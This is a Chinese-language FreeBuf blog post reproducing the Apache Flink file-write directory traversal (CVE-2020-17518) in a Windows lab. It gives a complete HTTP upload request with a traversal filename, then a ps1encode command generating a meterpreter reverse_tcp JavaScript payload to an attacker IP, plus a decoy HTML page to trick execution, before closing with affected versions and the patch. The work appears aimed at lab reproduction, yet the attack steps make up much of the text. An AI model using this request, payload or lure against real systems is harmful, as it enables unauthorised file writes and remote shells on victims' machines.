freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Apache Flink 目录遍历漏洞(CVE-2020-17518)WINDOWS 环境复现
PROTECT 2021-01-09 15:54:55 280589

Apache Flink 目录遍历漏洞复现(CVE-2020-17518)


1610178770_5ff960d22ee2a0e270a09.png!small?1610178765065

1.  漏洞复现

1.1 漏洞背景

Apache Flink是由Apache软件基金会开发的开源流处理框架,其核心是用Java和Scala编写的分布式流数据流引擎。Flink以数据并行和流水线方式执行任意流数据程序,Flink的流水线运行时系统可以执行批处理和流处理程序。近日 Apache官网发布了Apache Flink目录遍历漏洞(CVE-2020-17518)通告,远程攻击者可通过REST API进行目录遍历,可达到文件读取和写入的效果。

1.2 漏洞描述

CVE-2020-17518:文件写入漏洞

Apache Flink 1.5.1版本引入了REST API,攻击者可通过恶意修改的HTTP头部将文件写入本地文件系统上的任意位置。

1.3 漏洞环境搭建

Flink安装部署-window 本地部署

flink 可以运行在 LinuxMac OS X, and Windows操作系统上面。要运行Flink得先安装JDK 8.X。本次漏洞复现环境搭建在windows上

JDK安装参看:http://www.itclj.com/blog/5920236681c06e672f942ad4

下载

官网下载地址:https://flink.apache.org/zh/downloads.html

百度盘:https://pan.baidu.com/s/1kmnXBD_5685cvgmsQ7xEbg 提取码:n9bs

启动

将下载好的flink解压,进入bin目录下找到start-cluster.ba,双击运行

1610178637_5ff9604dd96f5df81a062.png!small?1610178632739

默认flink开启8081端口,使用http://you-ip:8081即可访问

1610178644_5ff96054b7e02d16f60a5.png!small?1610178639538

1.3 漏洞复现

本次使用的攻击机:kali ip: 192.168.0.105

靶机:windows 10 x64  ip: 192.168.0.102

将下面payload复制到burpsuit repeater模块进行发送,就会在flink部署的window主机C盘下的/Users/admin/AppData/Local/Temp/flink-web-c208315e-b746-4692-8281-1d566b1b8c09/flink-web-ui/目录下创建一个success.txt的文件,success.txt写入的内容为success

POST /jars/upload HTTP/1.1

Host: you-ip:8081

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0

Accept: */*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=---------------------------7953587633284837342617937085

Content-Length: 7302

Origin: http://you-ip:8081

Connection: close

Referer: http://you-ip:8081/


-----------------------------7953587633284837342617937085

Content-Disposition: form-data; name="jarfile"; filename="/Users/admin/AppData/Local/Temp/flink-web-c208315e-b746-4692-8281-1d566b1b8c09/flink-web-ui/success.txt"

Content-Type: application/octet-stream

Success

-----------------------------7953587633284837342617937085—

1610178674_5ff960724cdaf8851bc02.png!small?1610178669085

可以看到成功创建了文件success.txt 文件

1610178682_5ff9607acc65f9554f448.png!small?1610178677588

1.4通过写入js文件来反弹shell

1、首先通过ps1encode工具生成反弹shell的js脚本,ps1encode工具下载地址为:git clone https://github.com/CroweCybersecurity/ps1encode.git

2、进入ps1encode目录,使用./ps1encode.rb --LHOST 192.168.0.105 --LPORT 4444 --PAYLOAD windows/meterpreter/reverse_tcp --ENCODE cmd -t js 命令生成payload

1610178691_5ff96083881ebea98df05.png!small?1610178686359

3、将生成的payload复制到burpsuit中,修改写入文件名为success.js 发送

1610178707_5ff96093685911a69a341.png!small?1610178702196

4、可以看到成功在flink部署的window主机上创建了succes.js文件

1610178713_5ff960995cd92dfd5d880.png!small?1610178708221

5、windows执行文件

直接执行的话可能比较明显,所以参照文章我们写了一个success.html文件,内容如下

<html>

<title>这是一个惊喜</title>

<body>

<img src ='1.jpg'>

<script type="text/javascript" src="success.js"></script>

</body>

</html>

6、执行success.html文件,选择运行->允许阻止内容->选择是,就反弹成功了

1610179122_5ff9623201166a53fff99.png!small?1610179116808

1610179115_5ff9622bf297c9746dd05.png!small?1610179110787

7、获取shell

使用msf监听

1610179503_5ff963af69afbfb3ef68d.png!small?1610179498188

目前反弹shell能建立连接,但是无法执行命令,不知道什么原因

1610179110_5ff962266b80a4c63655d.png!small?1610179105415

2.  影响范围

CVE-2020-17518:

Apache Flink 1.5.1 - 1.11.2

3.  严重等级

高危

4.  处置方法

4.1 官方补丁

Apache Flink 官方已在新版本中修复此漏洞,请升级至Flink 1.11.3或1.12.0,下载链接:https://flink.apache.org/downloads.html

# 黑客 # web安全 # 漏洞分析 # 网络安全技术
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 PROTECT 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
PROTECT LV.1
这家伙太懒了,还未填写个人描述!
  • 5 文章数
  • 0 关注者
使用Perfusion-master注册表提权工具进行windows提权
2021-03-02
利用Apache Druid 远程代码执行漏洞(CVE-2021-25646)上传木马程序getshell
2021-02-05
CVE-2021-3156:Sudo 堆缓冲区溢出漏洞复现
2021-02-01
文章目录